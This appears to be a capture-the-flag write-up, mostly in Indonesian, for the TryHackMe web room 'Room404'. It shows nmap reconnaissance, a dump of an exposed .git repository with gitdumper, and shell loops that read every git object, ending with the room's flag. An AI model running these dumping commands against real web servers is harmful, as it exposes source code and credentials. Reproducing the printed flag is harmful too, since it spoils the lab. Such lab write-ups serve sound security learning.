---
title: "Room404 - TryHackMe"
slug: "room404-tryhackme"
collection: "writeups"
status: "published"
publishedAt: "2026-10-19T15:53:38.054Z"
updatedAt: "2026-10-20T03:10:31.792Z"
canonical: "https://0.0.0.0:3000/writeups/room404-tryhackme"
platform: "TryHackMe"
difficulty: "easy"
category: "web"
---

# Room404 - TryHackMe

> He booked the quiet room. It's not on the floor plan, not in the brochure, not on any door. But port 8080 is wide open, and the rooms it never lists are the ones worth finding.

![Screenshot 2026-10-19 15:54:30 (image)](https://0.0.0.0:3000/api/media/file/media/65ccf79c-image.png)

```bash
$ nmap -sC -sV -oA nmap/initial 10.48.139.155 --reason 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-19 22:55 +0700
Nmap scan report for 10.48.139.155
Host is up, received echo-reply ttl 62 (0.095s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 62 OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 66:27:5f:87:d1:8b:5b:78:03:d3:99:19:f5:b4:0d:c3 (ECDSA)
|_  256 5d:2d:22:8e:c0:4f:5b:08:50:e4:a3:bf:6b:85:45:e6 (ED25519)
8080/tcp open  http    syn-ack ttl 62 Werkzeug httpd 3.0.1 (Python 3.12.3)
|_http-title: Byte Lotus — Stay Noticed
| http-git: 
|   10.48.139.155:8080/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: initial Byte Lotus guest platform 
|_http-server-header: Werkzeug/3.0.1 Python/3.12.3
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.45 seconds
```

hasil dari nmap menunjukkan 2 port yang open disitu ke leak bahwa ada git repo open sip, namun coba cek dulu flow web nya 

![Screenshot 2026-10-19 15:59:23 (image)](https://0.0.0.0:3000/api/media/file/media/c72e1d04-image.png)

terdapat landing page normal yang ketika di klik reserver a stay akan di bawa di /booking namun page tersebut tidak ditemmukanalias return http 404 

![Screenshot 2026-10-19 16:00:16 (image)](https://0.0.0.0:3000/api/media/file/media/c1664948-image.png)

oke coba kembali ke landing page dan akses .git yang leak tersebut

![Screenshot 2026-10-19 16:01:16 (image)](https://0.0.0.0:3000/api/media/file/media/5985250f-image.png)

ternyata ril bocor loh ya, next dump menggunakan git-dumper

```bash
git clone https://github.com/internetwache/GitTools


./gitdumper.sh http://10.48.139.155:8080/.git/ ./dump
```

## **Langkah 1 - cek terlebih dahulu metadata nya sebelum menyentuh object nya**

```bash
cat COMMIT_EDITMSG          # draft commit message
cat config                  # remote URL, kadang ada kredensial
cat logs/HEAD               # urutan commit + aksi yang pernah terjadi
cat logs/refs/heads/main
cat refs/heads/main         # hash commit terakhir
cat refs/remotes/origin/main
git --git-dir=. ls-files -s # baca isi .git/index (file yang ke-stage)
```

## Langkah 2 — enumerasi dan baca SEMUA object

```bash
for h in $(find objects -type f | awk -F/ '{print $(NF-1)$NF}'); do
  echo "===== $h [$(git cat-file -t $h)]"
  git cat-file -p $h
  echo
done
```

di salah satu object nya berhasil mendapat flag nya pada hash `a5965c580fee91d852e5b19a8290da02d2926523`

maka flag nya adalah 

`THM{byt3_l0tus_n3v3r_f0rg3ts}`